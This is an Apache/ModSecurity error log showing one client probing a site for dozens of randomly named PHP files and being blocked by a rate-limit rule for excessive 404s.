[Sat Apr 18 20:14:24.188634 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:6069] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ebuom.php"] [unique_id "aeN1oICFeowknfXHM7kaDwAAAEQ"]
[Sat Apr 18 20:14:24.887009 2026] [:error] [pid 9863:tid 9890] [client 52.236.80.95:5927] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ebuom.php"] [unique_id "aeN1oDjjiypiFrTucbLMoAAAABE"]
[Sat Apr 18 20:14:25.418504 2026] [:error] [pid 9863:tid 9873] [client 52.236.80.95:5994] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/emcgm.php"] [unique_id "aeN1oTjjiypiFrTucbLMogAAAAA"]
[Sat Apr 18 20:14:25.956799 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:5911] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/emcgm.php"] [unique_id "aeN1oYCFeowknfXHM7kaEAAAAEI"]
[Sat Apr 18 20:14:26.552532 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:6045] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/emcgm.php"] [unique_id "aeN1ooCFeowknfXHM7kaEQAAAEE"]
[Sat Apr 18 20:14:27.239102 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:6000] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/emcgm.php"] [unique_id "aeN1oxBmX4Wq5a6rxfanVwAAAUc"]
[Sat Apr 18 20:14:27.811704 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:5926] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/euocu.php"] [unique_id "aeN1oxBmX4Wq5a6rxfanWgAAAVI"]
[Sat Apr 18 20:14:28.457707 2026] [:error] [pid 9865:tid 9952] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/euocu.php
[Sat Apr 18 20:14:28.838872 2026] [:error] [pid 9865:tid 9960] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Apr 18 20:14:29.092517 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/frdyx.php
[Sat Apr 18 20:14:29.373282 2026] [:error] [pid 9865:tid 9956] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/fsjzs.php
[Sat Apr 18 20:14:29.684077 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/fwtoa.php
[Sat Apr 18 20:14:29.952832 2026] [:error] [pid 9865:tid 9951] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/gbhyv.php
[Sat Apr 18 20:14:30.241529 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/gedim.php
[Sat Apr 18 20:14:31.661055 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/ibano.php
[Sat Apr 18 20:14:31.918646 2026] [:error] [pid 9865:tid 9956] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/ifrea.php
[Sat Apr 18 20:14:32.173974 2026] [:error] [pid 9865:tid 9940] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/itlvk.php
[Sat Apr 18 20:14:32.431724 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:6091] File does not exist: /usr/local/apache/htdocs/suspended-page/jctyd.php
[Sat Apr 18 20:14:32.687511 2026] [:error] [pid 9865:tid 9955] [client 52.236.80.95:6091] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtfocpif.php"] [unique_id "aeN1qKzb5knECIY-C-iBWAAAAJI"]
[Sat Apr 18 20:14:33.244866 2026] [:error] [pid 9970:tid 9979] [client 52.236.80.95:5980] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtfocpif.php"] [unique_id "aeN1qSYdRLRhVmaIMx2y_QAAAMU"]
[Sat Apr 18 20:14:33.904622 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:5917] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtfocpif.php"] [unique_id "aeN1qSYdRLRhVmaIMx2y_wAAAMs"]
[Sat Apr 18 20:14:34.410444 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5900] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtfocpif.php"] [unique_id "aeN1qhBmX4Wq5a6rxfanbgAAAU8"]
[Sat Apr 18 20:14:35.672616 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:6117] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/junvh.php"] [unique_id "aeN1qxqX6WpmmAXOBi8Z5AAAAcM"]
[Sat Apr 18 20:14:36.227619 2026] [:error] [pid 9865:tid 9952] [client 52.236.80.95:6013] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/junvh.php"] [unique_id "aeN1rKzb5knECIY-C-iBWQAAAI8"]
[Sat Apr 18 20:14:36.758911 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:5903] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/junvh.php"] [unique_id "aeN1rBqX6WpmmAXOBi8Z6gAAAcY"]
[Sat Apr 18 20:14:37.337356 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:6071] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/junvh.php"] [unique_id "aeN1rYCFeowknfXHM7kaHAAAAEE"]
[Sat Apr 18 20:14:37.905972 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5913] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jvtsa.php"] [unique_id "aeN1rRBmX4Wq5a6rxfancgAAAUM"]
[Sat Apr 18 20:14:38.436053 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:5935] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jvtsa.php"] [unique_id "aeN1roCFeowknfXHM7kaHgAAAFA"]
[Sat Apr 18 20:14:39.022484 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6009] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jvtsa.php"] [unique_id "aeN1rxBmX4Wq5a6rxfandwAAAUA"]
[Sat Apr 18 20:14:39.596503 2026] [:error] [pid 9970:tid 9983] [client 52.236.80.95:6004] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jvtsa.php"] [unique_id "aeN1ryYdRLRhVmaIMx2zBAAAAMk"]
[Sat Apr 18 20:14:40.132515 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:5844] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaduu.php"] [unique_id "aeN1sBBmX4Wq5a6rxfanewAAAUU"]
[Sat Apr 18 20:14:40.678197 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:6010] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaduu.php"] [unique_id "aeN1sICFeowknfXHM7kaJQAAAEQ"]
[Sat Apr 18 20:14:41.280310 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6001] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaduu.php"] [unique_id "aeN1sYCFeowknfXHM7kaJwAAAFg"]
[Sat Apr 18 20:14:41.824197 2026] [:error] [pid 9865:tid 9957] [client 52.236.80.95:5825] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaduu.php"] [unique_id "aeN1sazb5knECIY-C-iBWgAAAJQ"]
[Sat Apr 18 20:14:42.473138 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:5929] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kagug.php"] [unique_id "aeN1shqX6WpmmAXOBi8Z7gAAAcw"]
[Sat Apr 18 20:14:43.144104 2026] [:error] [pid 9864:tid 9913] [client 52.236.80.95:5839] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kagug.php"] [unique_id "aeN1s4CFeowknfXHM7kaKQAAAEc"]
[Sat Apr 18 20:14:43.886292 2026] [:error] [pid 9863:tid 9887] [client 52.236.80.95:6090] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kagug.php"] [unique_id "aeN1szjjiypiFrTucbLMqQAAAA4"]
[Sat Apr 18 20:14:44.419790 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:5899] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kagug.php"] [unique_id "aeN1tICFeowknfXHM7kaLAAAAFI"]
[Sat Apr 18 20:14:44.989305 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:5878] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kandw.php"] [unique_id "aeN1tBBmX4Wq5a6rxfanggAAAU4"]
[Sat Apr 18 20:14:45.747847 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:5855] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kandw.php"] [unique_id "aeN1tRqX6WpmmAXOBi8Z9QAAAc0"]
[Sat Apr 18 20:14:46.312248 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:6060] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kandw.php"] [unique_id "aeN1thqX6WpmmAXOBi8Z9wAAAdQ"]
[Sat Apr 18 20:14:47.425643 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5891] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kandw.php"] [unique_id "aeN1txBmX4Wq5a6rxfanhgAAAUw"]
[Sat Apr 18 20:14:47.974392 2026] [:error] [pid 9863:tid 9892] [client 52.236.80.95:5951] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kduhq.php"] [unique_id "aeN1tzjjiypiFrTucbLMqgAAABM"]
[Sat Apr 18 20:14:48.569471 2026] [:error] [pid 9863:tid 9886] [client 52.236.80.95:6121] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kduhq.php"] [unique_id "aeN1uDjjiypiFrTucbLMqwAAAA0"]
[Sat Apr 18 20:14:49.209573 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5892] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kduhq.php"] [unique_id "aeN1uRBmX4Wq5a6rxfaniAAAAU8"]
[Sat Apr 18 20:14:49.765659 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:5889] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kduhq.php"] [unique_id "aeN1uazb5knECIY-C-iBZAAAAIk"]
[Sat Apr 18 20:14:50.308098 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:6019] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rgjrq.php"] [unique_id "aeN1uhqX6WpmmAXOBi8Z_gAAAdY"]
[Sat Apr 18 20:14:51.529335 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5907] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rgjrq.php"] [unique_id "aeN1uxBmX4Wq5a6rxfankAAAAUM"]
[Sat Apr 18 20:14:52.168854 2026] [:error] [pid 9865:tid 9961] [client 52.236.80.95:5890] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rgjrq.php"] [unique_id "aeN1vKzb5knECIY-C-iBaQAAAJg"]
[Sat Apr 18 20:14:52.900216 2026] [:error] [pid 34237:tid 34261] [client 52.236.80.95:5925] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rgjrq.php"] [unique_id "aeN1vBBmX4Wq5a6rxfanlAAAAVY"]
[Sat Apr 18 20:14:53.436307 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6044] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vopxx.php"] [unique_id "aeN1vRBmX4Wq5a6rxfanlQAAAUQ"]
[Sat Apr 18 20:14:53.999264 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:5898] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vopxx.php"] [unique_id "aeN1vRBmX4Wq5a6rxfanmAAAAUc"]
[Sat Apr 18 20:14:54.707665 2026] [:error] [pid 13023:tid 13049] [client 52.236.80.95:5824] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vopxx.php"] [unique_id "aeN1vv1e7hG8DAeABB8FbAAAARg"]
[Sat Apr 18 20:14:55.240975 2026] [:error] [pid 13023:tid 13040] [client 52.236.80.95:6014] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vopxx.php"] [unique_id "aeN1v_1e7hG8DAeABB8FbgAAAQ8"]
[Sat Apr 18 20:14:55.826816 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5904] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wcoiw.php"] [unique_id "aeN1vxBmX4Wq5a6rxfannAAAAVQ"]
[Sat Apr 18 20:14:56.566572 2026] [:error] [pid 9970:tid 9981] [client 52.236.80.95:5955] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wcoiw.php"] [unique_id "aeN1wCYdRLRhVmaIMx2zDQAAAMc"]
[Sat Apr 18 20:14:57.170225 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5912] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wcoiw.php"] [unique_id "aeN1wRBmX4Wq5a6rxfanoQAAAUw"]
[Sat Apr 18 20:14:57.792795 2026] [:error] [pid 34290:tid 34328] [client 52.236.80.95:5838] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wcoiw.php"] [unique_id "aeN1wRqX6WpmmAXOBi8aBgAAAck"]
[Sat Apr 18 20:14:58.356005 2026] [:error] [pid 13023:tid 13025] [client 52.236.80.95:6042] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtogs.php"] [unique_id "aeN1wv1e7hG8DAeABB8FcAAAAQA"]
[Sat Apr 18 20:14:59.306574 2026] [:error] [pid 9865:tid 9937] [client 52.236.80.95:5922] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtogs.php"] [unique_id "aeN1w6zb5knECIY-C-iBawAAAIA"]
[Sat Apr 18 20:14:59.847450 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:5920] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtogs.php"] [unique_id "aeN1w4CFeowknfXHM7kaOAAAAEw"]
[Sat Apr 18 20:15:00.510840 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:6075] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtogs.php"] [unique_id "aeN1xBBmX4Wq5a6rxfanqQAAAUI"]
[Sat Apr 18 20:15:01.190379 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5936] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xbbih.php"] [unique_id "aeN1xRBmX4Wq5a6rxfanrwAAAU8"]
